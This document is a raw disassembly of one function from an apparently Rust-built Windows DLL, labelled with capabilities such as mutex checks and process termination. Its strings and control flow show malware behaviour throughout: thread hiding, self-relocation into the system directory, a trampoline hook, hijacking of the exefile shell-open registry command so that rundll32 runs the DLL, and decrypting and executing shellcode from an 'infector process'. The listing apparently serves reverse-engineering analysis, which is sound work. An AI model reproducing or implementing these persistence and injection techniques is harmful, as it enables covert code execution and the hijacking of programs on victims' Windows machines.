Function at 0x1800073b0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x138
cmp dword [0x1801bc190], 1
je 0x1800073ed
mov qword [0x1801bc190], 1
mov qword [0x1801bc198], 0
mov qword [0x1801bc1a0], 1
mov qword [0x1801bc1a8], rcx
lea rcx, str.DLL_PROCESS_ATTACH_received.exefile_shellopencommandSoftwareMyInjectorBackupCommandOriginal_registry_command_backed_up.Backup_registry_command_already_exists.rundll32.exe____DllMain_
mov edx, 0x1c
call fcn.180006f70
lea rax, str.GlobalNateFailed_to_create_mutexsrclib.rs
mov qword [rsp + 0x30], rax
lea rax, [0x18012d41b]
mov qword [rsp + 0x38], rax
mov word [rsp + 0x40], 0
mov dword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.180009340
mov rsi, qword [rsp + 0x68]
xor ecx, ecx
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_CreateMutexW]
mov rdi, rax
inc rax
cmp rax, 1
ja 0x180007462
call fcn.1800e2770
mov rdi, rax
test edx, edx
jne 0x180007dc8
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1800074e5
lea rcx, str.Another_instance_is_already_running._Exiting..._n
mov edx, 0x2f
call fcn.180006f70
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x1800074b4
call fcn.1800e2770
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edx
test edx, edx
sete cl
test rax, rax
sete al
or al, cl
jne 0x1800074b4
lea rcx, [rsp + 0x30]
call fcn.1800e2760
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x1800074cf
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.18000b700
lea rcx, str.Another_instance_is_already_running._Exiting..._n
mov edx, 0x2f
call fcn.180006f70
jmp 0x180007db9
mov byte [0x1801bc180], 1
mov qword [0x1801bc188], rdi
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x18000750e
add rdx, rdx
mov r8d, 2
mov rcx, rsi
call fcn.18000b700
lea rcx, str.Starting_complex_initialization...Failed_to_hide_threads:
mov edx, 0x22
call fcn.180006f70
call fcn.180005930
test edx, edx
je 0x1800075ed
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], edx
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xb0], rax
lea rax, [0x1800e27a0]
mov qword [rsp + 0xb8], rax
lea rax, [0x18012d7d0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x1800075c7
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
call fcn.180006ee0
cmp qword [rsp + 0xd0], 0
je 0x180007db9
lea rcx, [rsp + 0xd0]
call fcn.1800e2760
jmp 0x180007db9
lea rcx, str.Threads_successfully_hidden.Module_is_not_running_from_the_system_directory._Moving_and_renaming...Module_moved_and_renamed_to:_C
mov edx, 0x1c
call fcn.180006f70
lea rcx, [rsp + 0x60]
call fcn.180002bf0
xor eax, eax
cmp rax, qword [rsp + 0x60]
jno 0x1800076eb
mov rax, qword [rsp + 0x68]
mov ecx, dword [rsp + 0x70]
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0xf8], ecx
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xd0], rax
lea rax, [0x1800e27a0]
mov qword [rsp + 0xd8], rax
lea rax, [0x18012db08]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0xb8]
mov rdx, qword [rsp + 0xc0]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x1800076c5
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
call fcn.180006ee0
cmp qword [rsp + 0xf0], 0
je 0x180007db9
lea rcx, [rsp + 0xf0]
call fcn.1800e2760
jmp 0x180007db9
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
lea rdx, [0x180113908]
lea rsi, [rsp + 0x30]
mov r8d, 0x13
mov rcx, rsi
call fcn.1800fd6e0
lea rcx, [rsp + 0xf0]
call fcn.1800fd470
mov rdi, rax
mov rbx, rdx
mov rcx, rsi
call fcn.1800fd470
mov r9, rdx
mov rcx, rdi
mov rdx, rbx
mov r8, rax
call case.0x1800ee40c.81
mov ebx, eax
mov rdx, qword [rsp + 0x30]
test rdx, rdx
je 0x180007767
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call fcn.18000b700
test bl, bl
je 0x1800077a5
lea rcx, str.Module_is_running_from_the_system_directory__continuing_execution...Trampoline_hook_successfully_set_at_address:
mov edx, 0x44
call fcn.180006f70
call fcn.180005b40
test rax, rax
jne 0x180007dfa
lea rcx, [0x18012dabb]
mov edx, 0x22
call fcn.180006f70
call fcn.180006ee0
jmp 0x180007d99
lea rcx, [0x18012d7fc]
mov edx, 0x47
call fcn.180006f70
lea rcx, [rsp + 0xd0]
call fcn.180002220
xor eax, eax
cmp rax, qword [rsp + 0xd0]
jno 0x1800078a3
mov rax, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xe0]
mov qword [rsp + 0x98], rax
mov dword [rsp + 0xa0], ecx
lea rax, [rsp + 0x98]
mov qword [rsp + 0xb0], rax
lea rax, [0x1800e27a0]
mov qword [rsp + 0xb8], rax
lea rax, str.Failed_to_move_and_rename_the_module:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x18000787d
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
call fcn.180006ee0
cmp qword [rsp + 0x98], 0
je 0x180007d99
lea rcx, [rsp + 0x98]
call fcn.1800e2760
jmp 0x180007d99
movups xmm0, xmmword [rsp + 0xd0]
movups xmm1, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x98], rax
lea rax, case.0x1800ee484.26
mov qword [rsp + 0xa0], rax
lea rax, [0x18012d860]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rbx, [rsp + 0x98]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 1
lea rsi, [rsp + 0x60]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1801060e0
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rdi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x180007952
mov r8d, 1
mov rcx, rdi
call fcn.18000b700
lea rcx, [rsp + 0xb0]
call fcn.1800fd470
mov r8, rdx
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.1800ea220
test byte [rsp + 0x30], 1
jne 0x180007ea5
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x118], rax
mov qword [rsp + 0x120], rcx
lea r8, [0x18012d604]
lea rcx, [rsp + 0x30]
mov r9d, 0x1a
mov rdx, 0xffffffff80000000
call fcn.180007fc0
mov rcx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rax, rcx
neg rax
mov rax, qword [rsp + 0x40]
jno 0x1800079d7
test rdi, rdi
jne 0x180007ba5
jmp 0x180007c9d
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x88], rdi
mov qword [rsp + 0x90], rax
lea r8, [0x18012d61e]
lea rcx, [rsp + 0x30]
mov r9d, 0x21
mov rdx, 0xffffffff80000001
call fcn.180007fc0
mov rdx, qword [rsp + 0x30]
mov rax, rdx
neg rax
jno 0x180007a8e
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rax, qword [r14]
test rax, rax
je 0x180007a31
mov rcx, rdi
call rax
mov rdx, qword [r14 + 8]
test rdx, rdx
je 0x180007a46
mov r8, qword [r14 + 0x10]
mov rcx, rdi
call fcn.18000b700
mov r9, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
lea rdx, [0x18012d61e]
mov r8d, 0x21
mov rcx, 0xffffffff80000001
call fcn.180008160
mov rdi, rax
test rax, rax
jne 0x180007b7e
lea rcx, [0x18012d63f]
mov edx, 0x24
jmp 0x180007aac
jae 0x180007aa0
mov rcx, qword [rsp + 0x38]
mov r8d, 1
call fcn.18000b700
lea rcx, [0x18012d663]
mov edx, 0x27
call fcn.180006f70
lea rax, [rsp + 0x118]
mov qword [rsp + 0x60], rax
lea rax, [0x18000af80]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], rax
lea r14, [0x1800021b0]
mov qword [rsp + 0x78], r14
lea rax, [0x18012d6a8]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 2
lea rsi, [rsp + 0x98]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1801060e0
mov r9, qword [rsp + 0xa0]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x20], rax
lea rdx, [0x18012d604]
mov r8d, 0x1a
mov rcx, 0xffffffff80000000
call fcn.180008160
test rax, rax
je 0x180007be0
mov rdi, rax
mov rdx, qword [rsp + 0x98]
test rdx, rdx
je 0x180007b7e
mov rcx, qword [rsp + 0xa0]
mov r8d, 1
call fcn.18000b700
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x180007b9e
mov rcx, qword [rsp + 0x88]
mov r8d, 1
call fcn.18000b700
lea rax, [0x18012d738]
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x98], rax
lea rax, [0x18000afb0]
mov qword [rsp + 0xa0], rax
lea rax, str.Failed_to_modify_registry:
jmp 0x180007d01
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0x130], r14
lea rax, str.Registry_key_modified_to_execute_DLL:
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x128]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x180007c5d
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
mov rdx, qword [rsp + 0x98]
test rdx, rdx
je 0x180007c7d
mov rcx, qword [rsp + 0xa0]
mov r8d, 1
call fcn.18000b700
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x180007c9d
mov rcx, qword [rsp + 0x88]
mov r8d, 1
call fcn.18000b700
lea rcx, str.Launching_new_instance_of_the_DLL...Failed_to_launch_rundll32_with_DLL:
mov edx, 0x24
call fcn.180006f70
lea rcx, [rsp + 0xb0]
call fcn.180008370
test rax, rax
je 0x180007fab
mov qword [rsp + 0x80], rax
lea rax, [0x18012d508]
mov qword [rsp + 0x88], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x98], rax
lea rax, [0x18000afb0]
mov qword [rsp + 0xa0], rax
lea rax, [0x18012d900]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x180007d5f
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
call fcn.180006ee0
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
call fcn.180006e30
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x180007d99
mov rcx, qword [rsp + 0xb8]
mov r8d, 1
call fcn.18000b700
mov rdx, qword [rsp + 0xf0]
test rdx, rdx
je 0x180007db9
mov rcx, qword [rsp + 0xf8]
mov r8d, 1
call fcn.18000b700
mov al, 1
add rsp, 0x138
pop rbx
pop rdi
pop rsi
pop r14
ret
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x38], edx
lea rax, [0x18012d440]
mov qword [rsp + 0x20], rax
lea rcx, [0x18012d41b]
lea r9, [0x18012d2d0]
lea r8, [rsp + 0x30]
mov edx, 0x16
call fcn.1801127a0
mov qword [rsp + 0xd0], rax
lea rdi, [rsp + 0xd0]
mov qword [rsp + 0xb0], rdi
lea rax, [0x18000afd0]
mov qword [rsp + 0xb8], rax
lea rax, [0x18012d9c0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
lea rbx, [rsp + 0xb0]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x180007e8e
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
cmp byte [0x1801bc178], 0
je 0x180007eb1
lea rcx, [0x18012da1b]
mov edx, 0x27
jmp 0x180007eda
lea rcx, [0x18012d870]
call fcn.180112390
lea rcx, str.Preparing_to_decrypt_and_execute_shellcode...Shellcode_execution_completed.Shellcode_already_executed._Skipping...Failed_to_launch_original_application:
mov edx, 0x2d
call fcn.180006f70
call fcn.180003460
mov byte [0x1801bc178], 1
lea rcx, [0x18012d9fd]
mov edx, 0x1e
call fcn.180006f70
call fcn.180007140
test rax, rax
je 0x180007f95
mov qword [rsp + 0xd0], rax
lea rax, [0x18012d508]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xb0], rdi
lea rax, [0x18000afb0]
mov qword [rsp + 0xb8], rax
lea rax, [0x18012da70]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 1
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0x30]
call fcn.1801060e0
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rsi
call fcn.180006f70
mov rdx, qword [rsp + 0x60]
test rdx, rdx
je 0x180007f80
mov r8d, 1
mov rcx, rsi
call fcn.18000b700
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.180006e30
lea rcx, str.Complex_initialization_completed._Exiting_infector_process.Failed_to_set_the_trampoline_hook.Failed_to_get_the_current_module_path:
mov edx, 0x3b
call fcn.180006f70
call fcn.180006ee0
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]